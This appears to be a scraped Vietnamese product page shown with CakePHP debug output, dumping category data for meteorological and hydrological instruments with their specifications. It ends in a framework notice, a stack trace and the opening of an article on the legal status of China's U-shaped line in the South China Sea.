'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Catproduct' => array(
'id' => '52',
'name' => 'Áp ký tự ghi 225',
'parent_id' => '2',
'alias' => 'áp-ký-tụ-ghi-225',
'images' => '2019070211103556032ed73bc73e646d09179b2face0ee.png',
'lft' => '32',
'rght' => '33',
'pos' => '3',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Model 225
Áp ký Fischer, model 225 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục sự biến đổi áp suất không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy áp ký 225 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Chồng hộp Aneroid
- Giải đo: Từ 955 đến 1055 hPa (hoặc tùy chọn)
- Độ chính xác: ±0.7 hPa
- Độ phân giải: 1 hPa
- Kích thước: 290(R) x 145(S) x 190(C) mm
- Trọng lượng: 2.5 kg
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'a-p-ky-tu-ghi-225',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Catproduct' => array(
'id' => '53',
'name' => 'Máy đo gió EL',
'parent_id' => '2',
'alias' => 'máy-do-gió-el',
'images' => '20190702112336d58b0b5c56b53be76e8104175a15ff97.png',
'lft' => '34',
'rght' => '35',
'pos' => '4',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '
Máy đo gió model EL là loại máy đo gió điện tự báo dùng để đo tốc độ gió và hướng gió tức thời từ xa do nhà máy thiết bị khí tượng Thượng Hải – Trung Quốc sản xuất.
Máy đo gió EL gồm 2 bộ phận chính: Bộ phận cảm ứng đặt ngoài trời và bộ phận chỉ thị đặt trong nhà. Hai bộ phận này được nối với nhau bằng một dây cáp điện nhiều sợi.
Bộ phận cảm ứng tốc độ gió là một chong chóng kiểu gáo. Bộ phận cảm ứng hướng gió là một phong tiêu. Hai bộ phận này được thiết kế gắn liền nhau.
Bộ phận chỉ thị có 2 đồng hồ. Đồng hồ bên trái chỉ thị tốc độ gió, đồng hồ bên phải chỉ thị hướng gió.
Trên mặt đồng hồ chỉ tốc độ, hai thang độ mầu đỏ bên ngoài chỉ tốc độ gió bằng cấp Beaufort. Hai thang độ bên trong chỉ tốc độ gió bằng m/s. Một thang độ từ 0 – 20 m/s và một thang độ từ 0 – 40 m/s.
Trên mặt đồng hồ chỉ hướng gió có 16 hướng và báo bằng đèn chỉ thị.
Đặc tính kỹ thuật
- Giải đo tốc độ: 2 – 40 m/s
- Giải đo hướng: 16 hướng
- Tốc độ khởi động: ≥ 1,5 m/s
- Độ chính xác đo tốc độ: ±(0,5 + 0,05V) m/s
- Độ chính xác đo hướng gió: ±11,15o
- Nguồn điện: 220VAC, 12 VDC
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'ma-y-do-gio-el',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Catproduct' => array(
'id' => '54',
'name' => 'Vũ lượng ký chao lật SL3-1',
'parent_id' => '2',
'alias' => 'vũ-luọng-ký-chao-lạt-sl3-1',
'images' => '2019070211520866c4403e2b0403ad0c222c8e1226510c.png',
'lft' => '36',
'rght' => '37',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Vũ lượng ký chao lật SL3-1
Sản xuất tại : Thượng Hải-Trung Quốc
Nguyên lý hoạt động: chao lật
* Miệng hứng 200cm2
* Dải đo : 0,1- 4mm/phút
* Độ chính xác: ±0,4mm(≤ 10mm )
* Khung máy bằng thép
* Vỏ máy bằng inox
* Điện nguồn 220V AC/50Hz hoặc 12VDC
Thiết bị bao gồm :
* Bộ cảm ứng
* Đầu đo mưa SL3-1 vật liệu Inox
* Bộ tự ghi tự báo và cáp số liệu 100m.
* Phụ kiện thay thế và tài liệu kỹ thuật
* Giản đồ sử dụng cho 1 năm
* Chân đế lắp đặt máy
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'vu-luo-ng-ky-chao-la-t-sl3-1',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Catproduct' => array(
'id' => '55',
'name' => 'Nhật Quang ký CamBell Stokes',
'parent_id' => '2',
'alias' => 'nhạt-quang-ký-cambell-stokes',
'images' => '2019070211564976eeed280f64fd4a67c3f0fd6b9f0ada.png',
'lft' => '38',
'rght' => '39',
'pos' => '6',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Máy ghi thời gian nắng
Máy ghi thời gian nắng model 1603 kiểu Campbell Stokes do hãng Lambrecht – Germany sản xuất. Đây là thiết bị tự ghi loại cơ học, dùng để ghi liên tục thời gian nắng trong ngày.
Máy được thiết kế chắc chắn, dễ lắp đặt, dễ sử dụng và hầu như không cần phải chăm sóc, bảo dưỡng, ngoài việc lau bụi.
Máy sử dụng nguyên lý hội tụ ánh sáng mặt trời để đốt cháy giản đồ thành vết theo thời gian có nắng.
Đặc tính kỹ thuật
Phần tử đo: Quả cầu thủy tinh
Dùng cho các vĩ độ từ 0ođến 40ocả Bắc và Nam bán cầu.
Trọng lượng: 5.7 kg
Giản đồ kèm theo: 380 tờ (140 tờ cho mùa Đông, 140 tờ cho mùa Hè và 100 tờ cho mùa Thu và mùa Xuân)
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'nha-t-quang-ky-cambell-stokes',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Catproduct' => array(
'id' => '56',
'name' => 'Máy đo độ mặn YSI -30',
'parent_id' => '2',
'alias' => 'máy-do-dọ-mạn-ysi-30',
'images' => '20190702115840249de45b2f39b6a48cdc586688773b3e.png',
'lft' => '40',
'rght' => '41',
'pos' => '7',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Xuất xứ: Mỹ
* Dải đo:
+ Độ muối: 0 - 80 ppt
+ Độ dẫn: 0mS - 200mS
+ Nhiệt độ: -5 - + 95oC
+ TDS: 0 đến 100g/l
* Độ chính xác:
+ Độ muối: 0.1 ppt
+ Độ dẫn: +/- 0.5% toàn dải
+ Nhiệt độ: +0.1oC
* Bao gồm: Máy chính, đầu dò + cáp dài 3m,
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'ma-y-do-do-ma-n-ysi-30',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Catproduct' => array(
'id' => '48',
'name' => 'Áp kế hộp hiện số',
'parent_id' => '2',
'alias' => 'ap-ke-hop-hien-so',
'images' => '2019070207393144f2378f4b0651daf2cb4fa277e4695e.jpg',
'lft' => '26',
'rght' => '27',
'pos' => '8',
'status' => '1',
'title_seo' => 'Máy đo gió',
'meta_key' => '',
'meta_des' => 'Model PTB330',
'created' => '2019-07-02',
'modified' => '2019-07-04',
'slug' => 'ap-ke-hop-hien-so',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Catproduct' => array(
'id' => '57',
'name' => 'Máy đo tốc độ và hướng gió',
'parent_id' => '2',
'alias' => 'máy-do-tóc-dọ-và-huóng-gio',
'images' => '2019070402434746227ca5c688200b321f5a8b74982c41.png',
'lft' => '42',
'rght' => '43',
'pos' => '9',
'status' => '1',
'title_seo' => 'Máy đo tốc độ và hướng gió',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-do-to-c-do-va-huo-ng-gio',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Catproduct' => array(
'id' => '58',
'name' => 'Máy tự ghi, tự báo mực nước',
'parent_id' => '2',
'alias' => 'máy-tụ-ghi-tụ-báo-mục-nuóc',
'images' => '20190704024855debca9dbc88ddc0c6108e7e1bbabcc12.png',
'lft' => '44',
'rght' => '45',
'pos' => '10',
'status' => '1',
'title_seo' => 'Máy tự ghi, tự báo mực nước',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-tu-ghi-tu-ba-o-mu-c-nuo-c',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 10 => array(
'Catproduct' => array(
'id' => '59',
'name' => 'Máy lưu tốc kế LS68 + chuông',
'parent_id' => '2',
'alias' => 'may-luu-toc-ke-ls68-chuong',
'images' => '201907040253294baefbf059489b4794a34aee2c9e3fbd.png',
'lft' => '46',
'rght' => '47',
'pos' => '11',
'status' => '1',
'title_seo' => 'Máy lưu tốc kế LS68 + chuông',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'may-luu-toc-ke-ls68-chuong',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 11 => array(
'Catproduct' => array(
'id' => '60',
'name' => 'Máy đo mực nước Stevens',
'parent_id' => '2',
'alias' => 'máy-do-mục-nuóc-stevens',
'images' => '201907040254500acecb86d3b3fab2fea045403bedfb1f.png',
'lft' => '48',
'rght' => '49',
'pos' => '12',
'status' => '1',
'title_seo' => 'Máy đo mực nước Stevens',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-do-mu-c-nuo-c-stevens',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 12 => array(
'Catproduct' => array(
'id' => '61',
'name' => 'Nhiệt kế cong SavinopWQG-16(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-cong-savinopwqg-16-t-q',
'images' => '201907040255588263b1a656f8075154d99a42ee877872.png',
'lft' => '50',
'rght' => '51',
'pos' => '13',
'status' => '1',
'title_seo' => 'Nhiệt kế cong ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-ke-cong-savinopwqg-16-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 13 => array(
'Catproduct' => array(
'id' => '62',
'name' => 'Bộ ẩm biểu lều',
'parent_id' => '2',
'alias' => 'bo-am-bieu-leu',
'images' => '20190704025648375115691c98b7200afab84e7d0250cb.png',
'lft' => '52',
'rght' => '53',
'pos' => '14',
'status' => '1',
'title_seo' => 'Bộ ẩm biểu lều',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'bo-am-bieu-leu',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 14 => array(
'Catproduct' => array(
'id' => '63',
'name' => 'Nhiệt kế nước WQG -14(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-nuoc-wqg-14-t-q',
'images' => '20190704025730f1017c1c7ca672a0b82961a6d2c5bab8.png',
'lft' => '54',
'rght' => '55',
'pos' => '15',
'status' => '1',
'title_seo' => 'Nhiệt kế nước ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-ke-nuoc-wqg-14-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 15 => array(
'Catproduct' => array(
'id' => '64',
'name' => 'Nhiệt biểu nước ',
'parent_id' => '2',
'alias' => 'nhiet-bieu-nuoc',
'images' => '20190704025757b88f868b4fbad212e795bc0f88d414a0.png',
'lft' => '56',
'rght' => '57',
'pos' => '16',
'status' => '1',
'title_seo' => 'Nhiệt biểu nước ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-bieu-nuoc',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 16 => array(
'Catproduct' => array(
'id' => '65',
'name' => 'Thủy chí tráng men',
'parent_id' => '2',
'alias' => 'thuy-chi-trang-men',
'images' => '2019070402584460e02fd9633a6c2500d5d0fc371f21e0.png',
'lft' => '58',
'rght' => '59',
'pos' => '17',
'status' => '1',
'title_seo' => 'Thủy chí tráng men',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'thuy-chi-trang-men',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 17 => array(
'Catproduct' => array(
'id' => '66',
'name' => 'Bộ Vũ lượng kế',
'parent_id' => '2',
'alias' => 'bo-vu-luong-ke',
'images' => '201907040259161485d37437ef53393ba9ed00d132c8ac.png',
'lft' => '60',
'rght' => '61',
'pos' => '18',
'status' => '1',
'title_seo' => 'Bộ Vũ lượng kế',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'bo-vu-luong-ke',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 18 => array(
'Catproduct' => array(
'id' => '7',
'name' => 'Máy toàn đạc điện tử',
'parent_id' => '2',
'alias' => 'may-toan-dac-dien-tu',
'images' => '201512310222411933736057242698a51c04e3a09f1e5f.png',
'lft' => '4',
'rght' => '5',
'pos' => '19',
'status' => '1',
'title_seo' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội',
'meta_key' => 'Máy toàn đạc, may toan dac, máy toàn đạc điện tử, máy toàn đạc điện tử chính hãng, máy toàn đạc điện tử chính hãng tại hà nội',
'meta_des' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội. Thành Đạt chuyên phân phối máy toàn đạc chính hãng với giá rẻ nhất, chất lượng nhất tại Việt Nam',
'created' => '2015-12-02',
'modified' => '2016-01-06',
'slug' => 'may-toan-dac-dien-tu',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => 'May toan dac dien tu',
'name_tq' => '',
'type' => 'product',
'hot' => '1',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 19 => array(
'Catproduct' => array(
'id' => '67',
'name' => 'Nhiệt kế tối cao WQG-13(TQ)',
'parent_id' => '2',
'alias' => 'nhiet-ke-toi-cao-wqg-13-tq',
'images' => null,
'lft' => '62',
'rght' => '63',
'pos' => '20',
'status' => '1',
'title_seo' => 'Nhiệt kế tối cao',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-toi-cao-wqg-13-tq',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 20 => array(
'Catproduct' => array(
'id' => '68',
'name' => 'Nhiệt kế tối thấp WQG-18(TQ)',
'parent_id' => '2',
'alias' => 'nhiet-ke-toi-thap-wqg-18-tq',
'images' => null,
'lft' => '64',
'rght' => '65',
'pos' => '21',
'status' => '1',
'title_seo' => 'Nhiệt kế tối thấp ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-toi-thap-wqg-18-tq',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 21 => array(
'Catproduct' => array(
'id' => '69',
'name' => 'Nhiệt kế thường WQG-15(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-thuong-wqg-15-t-q',
'images' => null,
'lft' => '66',
'rght' => '67',
'pos' => '22',
'status' => '1',
'title_seo' => 'Nhiệt kế thường',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-thuong-wqg-15-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 22 => array(
'Catproduct' => array(
'id' => '70',
'name' => 'Giản đồ Stevens',
'parent_id' => '2',
'alias' => 'gian-do-stevens',
'images' => null,
'lft' => '68',
'rght' => '69',
'pos' => '23',
'status' => '1',
'title_seo' => 'Giản đồ Stevens',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-stevens',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 23 => array(
'Catproduct' => array(
'id' => '71',
'name' => 'Giàn đồ nắng ',
'parent_id' => '2',
'alias' => 'gian-do-nang',
'images' => null,
'lft' => '70',
'rght' => '71',
'pos' => '24',
'status' => '1',
'title_seo' => 'Giàn đồ nắng ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-nang',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 24 => array(
'Catproduct' => array(
'id' => '72',
'name' => 'Giản đồ nhiệt ẩm áp ',
'parent_id' => '2',
'alias' => 'gian-do-nhiet-am-ap',
'images' => null,
'lft' => '72',
'rght' => '73',
'pos' => '25',
'status' => '1',
'title_seo' => 'Giản đồ nhiệt ẩm áp ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-nhiet-am-ap',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 25 => array(
'Catproduct' => array(
'id' => '73',
'name' => 'Giản đồ mưa ',
'parent_id' => '2',
'alias' => 'gian-do-mua',
'images' => null,
'lft' => '74',
'rght' => '75',
'pos' => '26',
'status' => '1',
'title_seo' => 'Giản đồ mưa ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-mua',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 26 => array(
'Catproduct' => array(
'id' => '74',
'name' => 'Sổ sách, báo biểu khí tượng thủy văn',
'parent_id' => '2',
'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van',
'images' => null,
'lft' => '76',
'rght' => '77',
'pos' => '27',
'status' => '1',
'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)include - APP/View/Elements/menu.ctp, line 22 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo 